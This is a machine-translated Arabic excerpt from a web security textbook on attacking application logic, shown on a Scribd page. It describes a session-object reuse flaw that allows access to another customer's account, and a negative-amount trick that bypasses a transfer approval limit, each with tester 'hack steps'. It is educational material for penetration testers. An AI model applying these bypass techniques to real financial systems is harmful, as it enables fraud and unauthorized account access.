[go: up one dir, main page]

0% found this document useful (0 votes)
9 views75 pages

Attacking Backend Components, Attacking

The document discusses a security vulnerability in an application related to user data handling and registration processes. It highlights how the reuse of code components led to a significant security flaw, allowing attackers to exploit user sessions and access sensitive information. The text outlines steps for potential attackers to bypass security measures and emphasizes the importance of secure coding practices.

Uploaded by

0ba35dac91
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
9 views75 pages

Attacking Backend Components, Attacking

The document discusses a security vulnerability in an application related to user data handling and registration processes. It highlights how the reuse of code components led to a significant security flaw, allowing attackers to exploit user sessions and access sensitive information. The text outlines steps for potential attackers to bypass security measures and emphasizes the importance of secure coding practices.

Uploaded by

0ba35dac91
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 75

‫ﻣﺘﺮﺟﻢ ﻣﻦ ﺍﻹﻧﺠﻠﻴﺰﻳﺔ ﺇﻟﻰ ﺍﻟﻌﺮﺑﻴﺔ ‪www.onlinedoctranslator.

com -‬‬

‫‪415‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﺗﺎﺭﻳﺦﺍﻟﻤﻴﻼﺩ ‪CDoB‬؛‬

‫ﻋﻨﻮﺍﻥﺍﻟﻤﻨﺰﻝ؛‬
‫ﺭﻗﻢﺍﻟﻌﻤﻴﻞ ﺍﻟﻄﻮﻳﻞ؛‬
‫‪...‬‬

‫ﺑﻌﺪﺟﻤﻊ ﻣﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﺃﻧُﺸﺊ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ‪ ،‬ﻭﻋﺒُﺊ ﺑﺎﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﺪُﺧﻠﺔ‪ ،‬ﻭﺧﺰُﻥّ ﻓﻲ‬
‫ﺟﻠﺴﺔﺍﻟﻤﺴﺘﺨﺪﻡ‪ .‬ﺑﻌﺪ ﺫﻟﻚ‪ ،‬ﺗﺤﻘﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﺑﻴﺎﻧﺎﺕ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﻭﻓﻲ ﺣﺎﻝ ﺻﺤﺘﻬﺎ‪ ،‬ﺍﺳﺘﻌﺎﺩ‬
‫ﺭﻗﻢﺍﻟﻌﻤﻴﻞ ﺍﻟﻔﺮﻳﺪ ﺍﻟﺨﺎﺹ ﺑﻪ‪ ،‬ﻭﺍﻟﺬﻱ ﺍﺳﺘﺨُﺪﻡ ﻓﻲ ﺟﻤﻴﻊ ﺃﻧﻈﻤﺔ ﺍﻟﺸﺮﻛﺔ‪ .‬ﺃﺿُﻴﻒ ﻫﺬﺍ ﺍﻟﺮﻗﻢ ﺇﻟﻰ‬
‫ﺍﻟﻜﺎﺉﻦ‪،‬ﻣﻊ ﺑﻌﺾ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻟﻤﻔﻴﺪﺓ ﺍﻷﺧﺮﻯ ﻋﻨﻪ‪ .‬ﺛﻢ ﻧﻘُﻞ ﺍﻟﻜﺎﺉﻦ ﺇﻟﻰ ﻧﻈﺎﻡ ﺍﻟﻮﺍﺟﻬﺔ ﺍﻟﺨﻠﻔﻴﺔ ﺫﻱ‬
‫ﺍﻟﺼﻠﺔﻟﻤﻌﺎﻟﺠﺔ ﻃﻠﺐ ﺍﻟﺘﺴﺠﻴﻞ‪.‬‬

‫ﺍﻓﺘﺮﺽﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﺍﺳﺘﺨﺪﺍﻡ ﻫﺬﺍ ﺍﻟﻤﻜﻮﻥ ﺍﻟﺒﺮﻣﺠﻲ ﺁﻣﻦ ﻭﻟﻦ ﻳﺴُﺒﺐ ﻣﺸﻜﻠﺔ ﺃﻣﻨﻴﺔ‪ .‬ﺇﻻ ﺃﻥ ﻫﺬﺍ‬
‫ﺍﻻﻓﺘﺮﺍﺽﻛﺎﻥ ﺧﺎﻃﺉﺎً‪ ،‬ﻭﻟﻪ ﻋﻮﺍﻗﺐ ﻭﺧﻴﻤﺔ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﺍﺳﺘﺨُﺪﻡﻧﻔﺲ ﻣﻜُﻮﻥِّ ﺍﻟﻜﻮﺩ ﺍﻟﻤﺪُﻣﺞ ﻓﻲ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻓﻲ ﺃﻣﺎﻛﻦ ﺃﺧﺮﻯ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﺑﻤﺎ ﻓﻲ‬
‫ﺫﻟﻚﺍﻟﻮﻇﻴﻔﺔ ﺍﻷﺳﺎﺳﻴﺔ‪ .‬ﻭﻗﺪ ﺃﺗﺎﺡ ﻫﺬﺍ ﻟﻠﻤﺴﺘﺨﺪﻣﻴﻦ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﻢ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺗﻔﺎﺻﻴﻞ‬
‫ﺍﻟﺤﺴﺎﺏ‪،‬ﻭﻛﺸﻮﻓﺎﺕ ﺍﻟﺤﺴﺎﺑﺎﺕ‪ ،‬ﻭﺗﺤﻮﻳﻼﺕ ﺍﻷﻣﻮﺍﻝ‪ ،‬ﻭﻏﻴﺮﻫﺎ ﻣﻦ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ‪ .‬ﻋﻨﺪﻣﺎ ﻳﺼُﺎﺩﻕ‬
‫ﻣﺴﺘﺨﺪﻡﻣﺴُﺠﻞ ﺑﻨﺠﺎﺡ ﻋﻠﻰ ﻧﻔﺴﻪ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ‪ ،‬ﻳﻨُﺸﺄ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ ﻧﻔﺴﻪ ﻭﻳﺤُﻔﻆ ﻓﻲ ﺟﻠﺴﺘﻪ‬
‫ﻟﺘﺨﺰﻳﻦﻣﻌﻠﻮﻣﺎﺕ ﺃﺳﺎﺳﻴﺔ ﺣﻮﻝ ﻫﻮﻳﺘﻪ‪ .‬ﻭﻗﺪ ﺍﻋﺘﻤﺪﺕ ﻣﻌﻈﻢ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺍﻟﻤﻌﻠﻮﻣﺎﺕ‬
‫ﺍﻟﻤﻮﺟﻮﺩﺓﻓﻲ ﻫﺬﺍ ﺍﻟﻜﺎﺉﻦ ﻟﺘﻨﻔﻴﺬ ﺇﺟﺮﺍءﺍﺗﻬﺎ‪ .‬ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ‪ ،‬ﺗﻢ ﺇﻧﺸﺎء ﺗﻔﺎﺻﻴﻞ ﺍﻟﺤﺴﺎﺏ‬
‫ﺍﻟﻤﻌﺮﻭﺿﺔﻋﻠﻰ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺻﻔﺤﺘﻪ ﺍﻟﺮﺉﻴﺴﻴﺔ ﺑﻨﺎء ًﻋﻠﻰ ﺭﻗﻢ ﺍﻟﻌﻤﻴﻞ ﺍﻟﻔﺮﻳﺪ ﺍﻟﻤﻮﺟﻮﺩ ﻓﻲ ﻫﺬﺍ‬
‫ﺍﻟﻜﺎﺉﻦ‪.‬‬

‫ﺇﻥﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺗﻢ ﺑﻬﺎ ﺑﺎﻟﻔﻌﻞ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻜﻮﻥ ﺍﻟﻜﻮﺩ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺗﻌﻨﻲ ﺃﻥ ﺍﻓﺘﺮﺍﺽ‬
‫ﺍﻟﻤﻄﻮﺭﻳﻦﻛﺎﻥ ﻣﻌﻴﺒﺎً‪ ،‬ﻭﺍﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺃﻋﺎﺩﻭﺍ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﻓﺘﺤﺖ ﺑﺎﻟﻔﻌﻞ ﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻛﺒﻴﺮﺓ‪.‬‬

‫ﻋﻠﻰﺍﻟﺮﻏﻢ ﻣﻦ ﺧﻄﻮﺭﺓ ﺍﻟﺜﻐﺮﺓ‪ ،‬ﺇﻻ ﺃﻧﻬﺎ ﻓﻲ ﺍﻟﻮﺍﻗﻊ ﻛﺎﻧﺖ ﺩﻗﻴﻘﺔ ﻧﺴﺒﻴﺎً ﻓﻲ ﺍﻛﺘﺸﺎﻓﻬﺎ ﻭﺍﺳﺘﻐﻼﻟﻬﺎ‪.‬‬
‫ﻛﺎﻥﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﺎﺉﻒ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻣﺤﻤﻴﺎً ﺑﻀﻮﺍﺑﻂ ﻭﺻﻮﻝ ﻋﻠﻰ ﻋﺪﺓ ﻃﺒﻘﺎﺕ‪ ،‬ﻭﻛﺎﻥ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻡﺑﺤﺎﺟﺔ ﺇﻟﻰ ﺟﻠﺴﺔ ﻣﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺑﺎﻟﻜﺎﻣﻞ ﻟﺘﺠﺎﻭﺯ ﻫﺬﻩ ﺍﻟﻀﻮﺍﺑﻂ‪ .‬ﻟﺬﻟﻚ‪ ،‬ﻻﺳﺘﻐﻼﻝ ﻫﺬﺍ‬
‫ﺍﻟﺨﻠﻞﺍﻟﻤﻨﻄﻘﻲ‪ ،‬ﻛﺎﻥ ﻋﻠﻰ ﺍﻟﻤﻬﺎﺟﻢ ﺍﺗﺒﺎﻉ ﺍﻟﺨﻄﻮﺍﺕ ﺍﻟﺘﺎﻟﻴﺔ‪:‬‬

‫ﻗﻢﺑﺘﺴﺠﻴﻞ ﺍﻟﺪﺧﻮﻝ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺑﻴﺎﻧﺎﺕ ﺣﺴﺎﺑﻚ ﺍﻟﺼﺎﻟﺤﺔ‪.‬‬ ‫‪-‬‬

‫ﺑﺎﺳﺘﺨﺪﺍﻡﺍﻟﺠﻠﺴﺔ ﺍﻟﻤﺼُﺎﺩﻕ ﻋﻠﻴﻬﺎ ﺍﻟﻨﺎﺗﺠﺔ‪ ،‬ﻳﻤﻜﻨﻚ ﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﻭﻇﻴﻔﺔ ﺍﻟﺘﺴﺠﻴﻞ ﻭﺇﺭﺳﺎﻝ‬ ‫‪-‬‬

‫ﻣﻌﻠﻮﻣﺎﺕﺷﺨﺼﻴﺔ ﻟﻌﻤﻴﻞ ﺁﺧﺮ‪ .‬ﺃﺩﻯ ﻫﺬﺍ ﺇﻟﻰ ﺍﺳﺘﺒﺪﺍﻝ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺎﻟﻤﻌﻠﻮﻣﺎﺕ ﺍﻷﺻﻠﻴﺔ‪.‬ﺍﻟﻌﻤﻴﻞ‬
‫ﻛﺎﺉﻦﻓﻲ ﺟﻠﺴﺔ ﺍﻟﻤﻬﺎﺟﻢ ﺑﻜﺎﺉﻦ ﺟﺪﻳﺪ ﻳﺘﻌﻠﻖ ﺑﺎﻟﻌﻤﻴﻞ ﺍﻟﻤﺴﺘﻬﺪﻑ‪.‬‬

‫ﺍﻟﻌﻮﺩﺓﺇﻟﻰ ﻭﻇﻴﻔﺔ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺮﺉﻴﺴﻴﺔ ﻭﺍﻟﻮﺻﻮﻝ ﺇﻟﻰ ﺣﺴﺎﺏ ﺍﻟﻌﻤﻴﻞ ﺍﻵﺧﺮ‪.‬‬ ‫‪-‬‬
‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬ ‫‪416‬‬

‫ﻟﻴﺲﻣﻦ ﺍﻟﺴﻬﻞ ﺍﻛﺘﺸﺎﻑ ﺛﻐﺮﺓ ﻣﻦ ﻫﺬﺍ ﺍﻟﻨﻮﻉ ﻋﻨﺪ ﻓﺤﺺ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﻣﻨﻈﻮﺭ ﺍﻟﺼﻨﺪﻭﻕ‬
‫ﺍﻷﺳﻮﺩ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻳﺼﻌﺐ ﺃﻳﻀﺎً ﺗﺤﺪﻳﺪﻫﺎ ﻋﻨﺪ ﻣﺮﺍﺟﻌﺔ ﺃﻭ ﻛﺘﺎﺑﺔ ﺷﻴﻔﺮﺓ ﺍﻟﻤﺼﺪﺭ ﺍﻟﻔﻌﻠﻴﺔ‪ .‬ﻓﺒﺪﻭﻥ‬
‫ﻓﻬﻢﻭﺍﺿﺢ ﻟﻠﺘﻄﺒﻴﻖ ﻛﻜﻞ ﻭﻛﻴﻔﻴﺔ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻜﻮﻧﺎﺗﻪ ﺍﻟﻤﺨﺘﻠﻔﺔ ﻓﻲ ﻣﺠﺎﻻﺕ ﻣﺨﺘﻠﻔﺔ‪ ،‬ﻗﺪ ﻻ ﻳﺘﻀﺢ‬
‫ﺧﻄﺄﺍﻓﺘﺮﺍﺿﺎﺕ ﺍﻟﻤﻄﻮﺭﻳﻦ‪ .‬ﻭﺑﺎﻟﻄﺒﻊ‪ ،‬ﻓﺈﻥ ﻭﺟﻮﺩ ﺷﻴﻔﺮﺓ ﻣﺼﺪﺭﻳﺔ ﻭﻭﺛﺎﺉﻖ ﺗﺼﻤﻴﻤﻴﺔ ﻣﻊ ﺗﻌﻠﻴﻘﺎﺕ‬
‫ﻭﺍﺿﺤﺔﻣﻦ ﺷﺄﻧﻬﻤﺎ ﺃﻥ ﻳﻘﻠﻼ ﻣﻦ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻇﻬﻮﺭ ﻣﺜﻞ ﻫﺬﺍ ﺍﻟﻌﻴﺐ ﺃﻭ ﻋﺪﻡ ﺍﻛﺘﺸﺎﻓﻪ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫‪.1‬ﻓﻲ ﺗﻄﺒﻴﻖ ﻣﻌﻘﺪ ﻳﺘﻀﻤﻦ ﻓﺼﻞ ﺍﻻﻣﺘﻴﺎﺯﺍﺕ ﺃﻓﻘﻴﺎً ﺃﻭ ﺭﺃﺳﻴﺎً‪ ،‬ﺣﺎﻭﻝ ﺗﺤﺪﻳﺪ ﺃﻱ ﺣﺎﻻﺕ ﻳﻤﻜﻦ ﻓﻴﻬﺎ‬
‫ﻟﻤﺴﺘﺨﺪﻡﻓﺮﺩﻱ ﺗﺠﻤﻴﻊ ﻗﺪﺭ ﻣﻦ ﺍﻟﺤﺎﻟﺔ ﺩﺍﺧﻞ ﺟﻠﺴﺘﻪ ﻭﺍﻟﺘﻲ ﺗﺘﻌﻠﻖ ﺑﻄﺮﻳﻘﺔ ﻣﺎ ﺑﻬﻮﻳﺘﻪ‪.‬‬

‫‪.2‬ﺣﺎﻭﻝ ﺍﻻﻧﺘﻘﺎﻝ ﻋﺒﺮ ﻣﻨﻄﻘﺔ ﻭﺍﺣﺪﺓ ﻣﻦ ﺍﻟﻮﻇﺎﺉﻒ‪ ،‬ﺛﻢ ﺍﻟﺘﺒﺪﻳﻞ ﺇﻟﻰ ﻣﻨﻄﻘﺔ ﻏﻴﺮ ﺫﺍﺕ ﺻﻠﺔ‪،‬‬
‫ﻟﺘﺤﺪﻳﺪﻣﺎ ﺇﺫﺍ ﻛﺎﻧﺖ ﺃﻱ ﻣﻌﻠﻮﻣﺎﺕ ﺣﺎﻟﺔ ﻣﺘﺮﺍﻛﻤﺔ ﻟﻬﺎ ﺗﺄﺛﻴﺮ ﻋﻠﻰ ﺳﻠﻮﻙ ﺍﻟﺘﻄﺒﻴﻖ‪.‬‬

‫ﺍﻟﻤﺜﺎﻝ‪ :6‬ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺣﺪﻭﺩ ﺍﻟﻌﻤﻞ‬


‫ﻭﺍﺟﻪﺍﻟﻤﺆﻟﻔﻮﻥ ﻫﺬﺍ ﺍﻟﺨﻠﻞ ﺍﻟﻤﻨﻄﻘﻲ ﻓﻲ ﺗﻄﺒﻴﻖ ﺗﺨﻄﻴﻂ ﻣﻮﺍﺭﺩ ﺍﻟﻤﺆﺳﺴﺔ ﺍﻟﻤﺴﺘﻨﺪ ﺇﻟﻰ ﺍﻟﻮﻳﺐ‬
‫ﻭﺍﻟﺬﻱﻳﺴﺘﺨﺪﻡ ﺩﺍﺧﻞ ﺷﺮﻛﺔ ﺗﺼﻨﻴﻊ‪.‬‬

‫ﺍﻟﻮﻇﻴﻔﺔ‬
‫ﺗﻤﻜﻦﻣﻮﻇﻔﻮ ﺍﻟﺸﺆﻭﻥ ﺍﻟﻤﺎﻟﻴﺔ ﻣﻦ ﺇﺟﺮﺍء ﺗﺤﻮﻳﻼﺕ ﻣﺎﻟﻴﺔ ﺑﻴﻦ ﻣﺨﺘﻠﻒ ﺍﻟﺤﺴﺎﺑﺎﺕ ﺍﻟﻤﺼﺮﻓﻴﺔ ﻟﻠﺸﺮﻛﺔ‬
‫ﻭﻋﻤﻼﺉﻬﺎﻭﻣﻮﺭﺩﻳﻬﺎ ﺍﻟﺮﺉﻴﺴﻴﻴﻦ‪ .‬ﻭﻛﺈﺟﺮﺍء ﺍﺣﺘﺮﺍﺯﻱ ﺿﺪ ﺍﻻﺣﺘﻴﺎﻝ‪ ،‬ﻣﻨﻊ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻌﻈﻢ‬
‫ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦﻣﻦ ﻣﻌﺎﻟﺠﺔ ﺍﻟﺘﺤﻮﻳﻼﺕ ﺍﻟﺘﻲ ﺗﺰﻳﺪ ﻗﻴﻤﺘﻬﺎ ﻋﻦ ‪ 10,000‬ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ‪ .‬ﺃﻱ ﺗﺤﻮﻳﻞ‬
‫ﻳﺘﺠﺎﻭﺯﻫﺬﺍ ﺍﻟﻤﺒﻠﻎ ﻳﺘﻄﻠﺐ ﻣﻮﺍﻓﻘﺔ ﺍﻟﻤﺪﻳﺮ ﺍﻷﻋﻠﻰ‪.‬‬

‫ﺍﻻﻓﺘﺮﺍﺽ‬
‫ﻛﺎﻥﺍﻟﻜﻮﺩ ﺍﻟﻤﺴﺆﻭﻝ ﻋﻦ ﺗﻨﻔﻴﺬ ﻫﺬﺍ ﺍﻟﻔﺤﺺ ﺩﺍﺧﻞ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺴﻴﻄﺎً‪:‬‬

‫} (ﺍﻟﻤﺒﻠﻎ ‪bool CAuthCheck::RequiresApproval)int‬‬

‫ﺇﺫﺍ)ﺍﻟﻤﺒﻠﻎ >= ‪(m_apprThreshold‬‬


‫ﺍﻟﻌﻮﺩﺓﺧﻄﺄ؛‬
‫ﻭﺇﻻﺍﺭﺟﻊ ﺻﺤﻴﺤﺎً؛‬
‫{‬
‫‪417‬‬ ‫ﺍﻟﻔﺼﻞﺍﻟﺤﺎﺩﻱ ﻋﺸﺮ‪-‬ﻣﻬﺎﺟﻤﺔ ﻣﻨﻄﻖ ﺍﻟﺘﻄﺒﻴﻖ‬

‫ﺍﻓﺘﺮﺽﺍﻟﻤﻄﻮﺭﻭﻥ ﺃﻥ ﻫﺬﺍ ﺍﻟﻔﺤﺺ ﺍﻟﺸﻔﺎﻑ ﻣﻀﻤﻮﻥ‪ .‬ﻓﻼ ﻳﻤﻜﻦ ﻷﻱ ﻣﻌﺎﻣﻠﺔ ﺗﺘﺠﺎﻭﺯ ﺍﻟﺤﺪ‬
‫ﺍﻷﻗﺼﻰﺍﻟﻤﺤﺪﺩ ﺃﻥ ﺗﺘﺠﻨﺐ ﺷﺮﻁ ﺍﻟﻤﻮﺍﻓﻘﺔ ﺍﻟﺜﺎﻧﻮﻳﺔ‪.‬‬

‫ﺍﻟﻬﺠﻮﻡ‬
‫ﻛﺎﻥﺍﻓﺘﺮﺍﺽ ﺍﻟﻤﻄﻮﺭﻳﻦ ﺧﺎﻃﺉﺎً‪ ،‬ﺇﺫ ﺗﺠﺎﻫﻠﻮﺍ ﺍﺣﺘﻤﺎﻟﻴﺔ ﻣﺤﺎﻭﻟﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻌﺎﻟﺠﺔ ﺗﺤﻮﻳﻞ ﺑﻤﺒﻠﻎ‬
‫ﺳﺎﻟﺐ‪.‬ﺃﻱ ﺭﻗﻢ ﺳﺎﻟﺐ ﺳﻴﺠﺘﺎﺯ ﺍﺧﺘﺒﺎﺭ ﺍﻟﻤﻮﺍﻓﻘﺔ‪ ،‬ﻷﻧﻪ ﺃﻗﻞ ﻣﻦ ﺍﻟﺤﺪ ﺍﻷﺩﻧﻰ‪ .‬ﻣﻊ ﺫﻟﻚ‪ ،‬ﺗﻘﺒﻞ ﻭﺣﺪﺓ‬
‫ﺍﻟﺨﺪﻣﺎﺕﺍﻟﻤﺼﺮﻓﻴﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺍﻟﺘﺤﻮﻳﻼﺕ ﺍﻟﺴﺎﻟﺒﺔ‪ ،‬ﻭﺗﻌﺎﻟﺠﻬﺎ ﺑﺒﺴﺎﻃﺔ ﻛﺘﺤﻮﻳﻼﺕ ﻣﻮﺟﺒﺔ ﻓﻲ‬
‫ﺍﻻﺗﺠﺎﻩﺍﻟﻤﻌﺎﻛﺲ‪ .‬ﻭﺑﺎﻟﺘﺎﻟﻲ‪ ،‬ﻳﻤﻜﻦ ﻷﻱ ﻣﺴﺘﺨﺪﻡ ﻳﺮﻏﺐ ﻓﻲ ﺗﺤﻮﻳﻞ ‪ 20,000‬ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ ﻣﻦ‬
‫ﺍﻟﺤﺴﺎﺏ"ﺃ" ﺇﻟﻰ ﺍﻟﺤﺴﺎﺏ "ﺏ" ﺃﻥ ﻳﺒﺪﺃ ﺑﺒﺴﺎﻃﺔ ﺗﺤﻮﻳﻼً ﺑﻘﻴﻤﺔ ﺳﺎﻟﺒﺔ ﻗﺪﺭﻫﺎ ‪ 20,000‬ﺩﻭﻻﺭ ﺃﻣﺮﻳﻜﻲ‬
‫ﻣﻦﺍﻟﺤﺴﺎﺏ "ﺏ" ﺇﻟﻰ ﺍﻟﺤﺴﺎﺏ "ﺃ"‪ ،‬ﻭﻫﻮ ﻣﺎ ﻛﺎﻥ ﻟﻪ ﻧﻔﺲ ﺍﻟﺘﺄﺛﻴﺮ‪ ،‬ﻭﻟﻢ ﻳﺘﻄﻠﺐ ﻣﻮﺍﻓﻘﺔ‪ .‬ﻳﻤﻜﻦ‬
‫ﺗﺠﺎﻭﺯﺩﻓﺎﻋﺎﺕ ﻣﻜﺎﻓﺤﺔ ﺍﻻﺣﺘﻴﺎﻝ ﺍﻟﻤﺪﻣﺠﺔ ﻓﻲ ﺍﻟﺘﻄﺒﻴﻖ ﺑﺴﻬﻮﻟﺔ!‬

‫ﻣﻠﺤﻮﻇﺔﺗﺴﺘﺨﺪﻡ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺃﻧﻮﺍﻉ ﺗﻄﺒﻴﻘﺎﺕ ﺍﻟﻮﻳﺐ ﺣﺪﻭﺩﺍً ﺭﻗﻤﻴﺔ ﺩﺍﺧﻞ ﻣﻨﻄﻖ ﺍﻷﻋﻤﺎﻝ‬
‫ﺍﻟﺨﺎﺹﺑﻬﺎ‪:‬‬

‫ﻗﺪﻳﻤﻨﻊ ﺗﻄﺒﻴﻖ ﺍﻟﺒﻴﻊ ﺑﺎﻟﺘﺠﺰﺉﺔ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﻃﻠﺐ ﻋﺪﺩ ﻭﺣﺪﺍﺕ ﺃﻛﺒﺮ ﻣﻦ ﺍﻟﻌﺪﺩ‬ ‫‪-‬‬
‫ﺍﻟﻤﺘﻮﻓﺮﻓﻲ ﺍﻟﻤﺨﺰﻭﻥ‪.‬‬
‫ﻗﺪﻳﻤﻨﻊ ﺗﻄﺒﻴﻖ ﻣﺼﺮﻓﻲ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻣﻦ ﺳﺪﺍﺩ ﺍﻟﻔﻮﺍﺗﻴﺮ ﺍﻟﺘﻲ ﺗﺘﺠﺎﻭﺯ ﺭﺻﻴﺪ ﺣﺴﺎﺑﻪ‬ ‫‪-‬‬
‫ﺍﻟﺤﺎﻟﻲ‪.‬‬
‫ﻗﺪﻳﻘﻮﻡ ﺗﻄﺒﻴﻖ ﺍﻟﺘﺄﻣﻴﻦ ﺑﺘﻌﺪﻳﻞ ﻋﺮﻭﺽ ﺍﻷﺳﻌﺎﺭ ﺍﻟﺨﺎﺻﺔ ﺑﻪ ﺑﻨﺎء ًﻋﻠﻰ ﺣﺪﻭﺩ ﺍﻟﻌﻤﺮ‪.‬‬ ‫‪-‬‬

‫ﺇﻥﺇﻳﺠﺎﺩ ﻃﺮﻳﻘﺔ ﻟﺘﺠﺎﻭﺯ ﻫﺬﻩ ﺍﻟﻘﻴﻮﺩ ﻻ ﻳﻤُﺜﻞ ﻓﻲ ﻛﺜﻴﺮ ﻣﻦ ﺍﻷﺣﻴﺎﻥ ﺧﻄﺮﺍً ﺃﻣﻨﻴﺎً ﻋﻠﻰ ﺍﻟﺘﻄﺒﻴﻖ‬
‫ﻧﻔﺴﻪ‪.‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﺗﻜﻮﻥ ﻟﻪ ﻋﻮﺍﻗﺐ ﻭﺧﻴﻤﺔ ﻋﻠﻰ ﺍﻷﻋﻤﺎﻝ‪ ،‬ﻭﻳﻤُﺜﻞ ﺧﺮﻗﺎً ﻟﻠﻀﻮﺍﺑﻂ ﺍﻟﺘﻲ ﻳﻌﺘﻤﺪ‬
‫ﻣﺎﻟﻚﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺗﻄﺒﻴﻘﻬﺎ‪.‬‬

‫ﻏﺎﻟﺒﺎًﻣﺎ ﺗﻜُﺘﺸﻒ ﺃﺑﺮﺯ ﻫﺬﻩ ﺍﻟﺜﻐﺮﺍﺕ ﺃﺛﻨﺎء ﺍﺧﺘﺒﺎﺭ ﻗﺒﻮﻝ ﺍﻟﻤﺴﺘﺨﺪﻡ‪ ،‬ﺍﻟﺬﻱ ﻳﺠُﺮﻯ ﻋﺎﺩﺓ ًﻗﺒﻞ‬
‫ﺗﺸﻐﻴﻞﺍﻟﺘﻄﺒﻴﻖ‪ .‬ﻭﻣﻊ ﺫﻟﻚ‪ ،‬ﻗﺪ ﺗﺒﻘﻰ ﻣﻈﺎﻫﺮ ﺃﻛﺜﺮ ﺩﻗﺔ ﻟﻠﻤﺸﻜﻠﺔ‪ ،‬ﺧﺎﺻﺔ ًﻋﻨﺪ ﺍﻟﺘﻼﻋﺐ‬
‫ﺑﺎﻟﻤﻌﻠﻤﺎﺕﺍﻟﻤﺨﻔﻴﺔ‪.‬‬

‫ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ‬

‫ﺍﻟﺨﻄﻮﺓﺍﻷﻭﻟﻰ ﻓﻲ ﻣﺤﺎﻭﻟﺔ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺣﺪ ﺍﻷﻋﻤﺎﻝ ﻫﻲ ﻓﻬﻢ ﺍﻷﺣﺮﻑ ﺍﻟﻤﻘﺒﻮﻟﺔ ﺿﻤﻦ‬


‫ﺍﻟﻤﺪﺧﻼﺕﺫﺍﺕ ﺍﻟﺼﻠﺔ ﺍﻟﺘﻲ ﺗﺘﺤﻜﻢ ﻓﻴﻬﺎ‪.‬‬
‫‪.1‬ﺣﺎﻭﻝ ﺇﺩﺧﺎﻝ ﺍﻟﻘﻴﻢ ﺍﻟﺴﻠﺒﻴﺔ‪ ،‬ﻭﺗﺄﻛﺪ ﻣﻦ ﺃﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻳﻘﺒﻠﻬﺎ ﻭﻳﻌﺎﻟﺠﻬﺎ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ ﺗﺘﻮﻗﻌﻬﺎ‪.‬‬

